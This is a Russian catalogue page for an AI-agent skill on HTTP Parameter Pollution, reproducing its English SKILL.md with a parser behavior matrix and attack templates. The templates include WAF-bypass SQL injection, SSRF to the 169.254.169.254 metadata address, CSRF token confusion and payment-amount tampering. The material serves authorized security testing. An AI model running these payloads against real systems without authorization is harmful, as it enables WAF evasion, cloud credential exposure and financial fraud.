К основному содержанию
скилл CX Codex

http-parameter-pollution — скилл для Claude Code: суть и установка

Скилл помогает моделировать атаки HTTP Parameter Pollution, когда WAF, прокси и бэкенд по-разному читают дубликаты параметров в запросе. Пригодится при аудите безопасности API.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add yaklang/hack-skills --skill http-parameter-pollution -a claude-code
Открыть на GitHub

Что делает http-parameter-pollution

Скилл инструктирует агента проверять расхождения в разборе повторяющихся параметров по всей цепочке: от WAF и обратного прокси до фреймворка и бизнес-логики приложения. Внутри собрана матрица поведения популярных веб-стеков. Например, PHP и Django берут последнее значение из строки запроса, Flask, Tomcat и Go net/http выбирают первое, а Express собирает массив значений.

Материал содержит шаблоны пейлоадов для URL, форм x-www-form-urlencoded, multipart и дублирующихся ключей в JSON. Описаны сценарии обхода WAF при внедрении SQL-инъекций, подмены адреса в SSRF и путаницы в CSRF-токенах. Для тестирования авторы рекомендуют Burp Suite, OWASP ZAP или кастомные скрипты, которые не схлопывают повторяющиеся ключи перед отправкой.

Любые тесты HPP с параметрами цен или количества могут реально изменить баланс и состояние базы данных. Поэтому запускать такие пейлоады допустимо только в изолированных тестовых средах и по согласованному скоупу.

Какие задачи решает

  • протестировать обход WAF через передачу повторных параметров запроса
  • выявить различия в обработке параметров между прокси и веб-сервером
  • составить сценарий атаки SSRF с разделением целевого URL
  • проверить устойчивость валидации CSRF-токенов к дублированию ключей
  • оценить парсинг одинаковых ключей в JSON-запросах

Примеры запросов агенту

  • Проверь эндпоинт оплаты на уязвимость HTTP Parameter Pollution при отправке параметров amount в Flask и Django.
  • Составь пейлоад для обхода WAF с помощью HPP в запросе application/x-www-form-urlencoded.
  • Построй матрицу расхождений между обратным прокси IIS и бэкендом на Node.js для ключа id.

Как установить http-parameter-pollution

1Через Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill http-parameter-pollution -a claude-code

2Вручную: положить файлы

~/.claude/skills/http-parameter-pollution/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/http-parameter-pollution/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы о http-parameter-pollution

Как установить http-parameter-pollution в Claude Code?

Для установки выполните команду npx skills add yaklang/hack-skills --skill http-parameter-pollution -a claude-code. Файл навыка сохранится по пути ~/.claude/skills/http-parameter-pollution/SKILL.md.

Что делает скилл http-parameter-pollution?

Он даёт модели готовые инструкции и матрицу парсинга параметров для поиска уязвимостей HTTP Parameter Pollution. Это помогает анализировать расхождения в обработке данных между WAF, прокси и серверными фреймворками.

Как разные фреймворки обрабатывают одинаковые параметры вроде a=1&a=2?

Поведение зависит от платформы. Flask, Tomcat и Go net/http читают первое вхождение (a=1), PHP и Django оставляют последнее (a=2), а Express преобразует повторяющийся параметр в массив значений.

Исходный текст

SKILL.md · MIT
---
name: http-parameter-pollution
description: >-
  HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.
---

# SKILL: HTTP Parameter Pollution (HPP)

> **AI LOAD INSTRUCTION**: Model the **full request path**: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys (`a=1&a=2`) are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. Routing note: when the same parameter appears multiple times, or WAF/backend stacks differ, use the Section 1 matrix to test first/last/merge assumptions, then design Section 3 scenario chains.

## 0. QUICK START

**Hypothesis**: the **security check** reads one occurrence of a parameter while the **action** reads another.

### First-pass payloads

```text
id=1&id=2
id=1&id=1%20OR%201=1
url=https://legit.example&id=https://evil.example
amount=1&amount=9999
csrf=TOKEN_A&csrf=TOKEN_B
user=alice&user=admin
```

### Body variants (repeat for POST)

```text
application/x-www-form-urlencoded
id=1&id=2

multipart/form-data
------boundary
Content-Disposition: form-data; name="id"
1
------boundary
Content-Disposition: form-data; name="id"
2
```

### Quick methodology

1. Fingerprint **front** stack (CDN/WAF) vs **origin** (language/framework) using baseline `a=1&a=2`.
2. Send **both** orders: `a=1&a=2` and `a=2&a=1` (some parsers are order-sensitive).
3. If JSON: test **duplicate keys** and Content-Type confusion (see Section 2).

---

## 1. SERVER BEHAVIOR MATRIX

Typical defaults — **always confirm**; middleware and custom parsers override these.

| Technology | Behavior | Example: `a=1&a=2` |
|---|---|---|
| PHP / Apache (`$_GET`) | Last occurrence | `a=2` |
| ASP.NET / IIS | Often comma-joined (all) | `a=1,2` |
| JSP / Tomcat (servlet param) | First occurrence | `a=1` |
| Python / Django (`QueryDict`) | Last occurrence | `a=2` |
| Python / Flask (`request.args`) | First occurrence | `a=1` |
| Node.js / Express (`req.query`) | Array of values | `a=['1','2']` (shape may vary by parser version) |
| Perl / CGI | First occurrence | `a=1` |
| Ruby / Rack (Rack::Utils) | Last occurrence | `a=2` |
| Go `net/http` (`ParseQuery`) | First occurrence | `a=1` |

**Why it matters**: a WAF on **IIS** might see `1,2` while PHP backend receives `2` only — or the reverse if a proxy normalizes.

---

## 2. PAYLOAD PATTERNS

### 2.1 Basic duplicate key

```http
GET /api?q=safe&q=evil HTTP/1.1
```

### 2.2 Array-style (PHP / some frameworks)

```http
GET /api?id[]=1&id[]=2 HTTP/1.1
```

### 2.3 Mixed array + scalar

```http
GET /api?item[]=a&item=b HTTP/1.1
```

### 2.4 Encoded ampersand (parser differential)

```text
# Literal & inside a value vs new pair — depends on decoder
param=value1%26other=value2
param=value1&other=value2
```

### 2.5 Nested / bracket keys

```http
GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1
```

### 2.6 JSON duplicate keys

```json
{"test":"user","test":"admin"}
```

Many parsers keep **last** key; some keep **first**. JavaScript `JSON.parse` keeps the last duplicate key.

---

## 3. ATTACK SCENARIOS

### 3.1 HPP + WAF bypass

**Pattern**: WAF inspects **first** value; application uses **last**.

```text
id=1&id=1%20UNION%20SELECT%20...
```

Also try: benign value in JSON field duplicated in query string, if gateway merges sources differently.

### 3.2 HPP + SSRF

**Pattern**: validator reads **safe** URL; fetcher reads **internal/evil** URL.

```text
url=https://allowed.cdn.example/&url=http://169.254.169.254/
```

Confirm which component (library vs app) consumes which occurrence.

### 3.3 HPP + CSRF

**Pattern**: duplicate anti-CSRF token so one copy satisfies parser A and another satisfies parser B.

```text
csrf=LEGIT&csrf=IGNORED_OR_ALT
```

Use only in **authorized** CSRF assessments with a clear state-changing target.

### 3.4 HPP + business logic (e.g. payment)

```text
amount=1&amount=5000
quantity=1&quantity=-1
price=9.99&price=0.01
```

Pair with **race conditions** or **server-side rounding** for higher impact; HPP alone often needs a split interpretation across layers.

---

## 4. TOOLS

| Tool | How to use |
|---|---|
| **Burp Suite** | Repeater: duplicate keys in raw query/body; Param Miner / extensions for hidden params; compare responses for `first` vs `last` interpretation |
| **OWASP ZAP** | Manual Request Editor; Automated Scan may not deeply fuzz HPP — prefer manual variants |
| **Custom scripts** | Build exact raw HTTP (preserve ordering) — some clients normalize duplicates |

**Tip**: log **raw** query strings at the app if you control a test lab; some frameworks expose only the “winning” value while logs show the full string.

---

## 5. DECISION TREE

```text
                    +-------------------------+
                    | Duplicate param name    |
                    | same request            |
                    +------------+------------+
                                 |
              +------------------+------------------+
              |                                     |
       +------v------+                       +------v------+
       | Single app  |                       | WAF / CDN / |
       | layer only  |                       | proxy chain |
       +------+------+                       +------+------+
              |                                     |
    +---------v---------+                 +---------v---------+
    | Read framework    |                 | Map each hop:     |
    | docs + test       |                 | first/last/join/  |
    | a=1&a=2 vs swap   |                 | array             |
    +---------+---------+                 +---------+---------+
              |                                     |
              +------------------+------------------+
                                 |
                          +------v------+
                          | Pick attack |
                          | template    |
                          +------+------+
                                 |
         +-----------+-----------+-----------+-----------+
         |           |           |           |           |
    +----v----+ +----v----+ +----v----+ +----v----+ +----v----+
    | WAF vs  | | SSRF    | | CSRF    | | Logic   | | JSON    |
    | app     | | split   | | token   | | numeric | | dup key |
    | value   | | URL     | | confuse | | fields  | | parsers |
    +---------+ +---------+ +---------+ +---------+ +---------+
```

---

**Safety & scope**: HPP testing can change server state (payments, account settings). Run only where **explicitly authorized**, with scoped accounts, and document parser behavior before high-impact requests.

© yaklang · MIT · yaklang/hack-skills

Похожие скиллы

Всё по теме «Безопасность» →
flutter-use-http-package flutter Скилл помогает добавить в Flutter-приложение запросы к REST API через пакет http и обработать JSON-ответ. Пригодится для загрузки и отправки данных. CX Codex +1 36 100установок extension-http-outcalls caffeinelabs Скилл для HTTP-запросов из бэкенд-канистры к внешним API. Следит, чтобы каждый запрос был ограничен на стороне провайдера. CX Codex +1 28 100установок convex-http-actions waynesutton Добавляет HTTP-эндпоинты в convex/http.ts: приём вебхуков с проверкой подписи, REST-маршруты, CORS, стриминг и загрузка файлов. CX Codex +1 2 700установок vtex-io-http-routes vtex Помогает проектировать HTTP-эндпоинты бэкенд-сервиса VTEX IO: границы роутов, middleware, валидацию запросов и форму ответа. CX Codex +1 1 100установок application-security-testing usestrix Скилл подбирает проверки для кода, веб-приложения, API и CI, затем собирает подтверждённые проблемы в план исправлений. Пригодится для AppSec-аудита. CX Codex +1 12 600установок security-payloads Eyadkelleh Набор готовых пейлоадов из SecLists для проверки фильтрации имён файлов, загрузки данных и работы антивируса. Пригодится пентестерам и разработчикам при аудитах защищённости. CX Codex +1 564установок

Из того же набора93

symbolic-execution-tools Плейбук по символьному исполнению: помогает агенту писать рабочие скрипты на angr, Z3 и Unicorn для реверса бинарей и CTF. CX Codex +1 3 600установок browser-exploitation-v8 Плейбук по эксплуатации уязвимостей JavaScript-движка: JIT type confusion, обход границ массива, побег из песочницы V8. Для CTF и разбора багов Chrome. CX Codex +1 3 600установок csp-bypass-advanced Скилл для разбора слабых мест Content Security Policy: где политика не закрывает директиву, где можно увести данные без JavaScript. CX Codex +1 3 600установок race-condition Скилл для проверки веб-приложений на гонки и TOCTOU: параллельные запросы, обход лимитов, одноразовые операции. CX Codex +1 3 600установок deserialization-insecure Скилл помогает искать небезопасную десериализацию в Java, PHP и Python и разбирать возможные цепочки атак. Нужен для аудита исходников и сетевых признаков. CX Codex +1 3 600установок format-string-exploitation Разбирает printf-подобные функции с пользовательской строкой формата: чтение стека, запись через %n, перезапись GOT. Нужен на CTF и при разборе бинарных уязвимостей. CX Codex +1 3 600установок kernel-exploitation Справочник по анализу уязвимостей ядра Linux для ИИ-агента. Помогает настроить окружение в QEMU и разобрать механизмы защиты ядра вроде KASLR и SMEP. CX Codex +1 3 600установок request-smuggling Скилл помогает искать рассинхронизацию HTTP между прокси и origin-сервером. Нужен для проверки CL.TE, TE.CL и переходов HTTP/2→HTTP/1. CX Codex +1 3 600установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой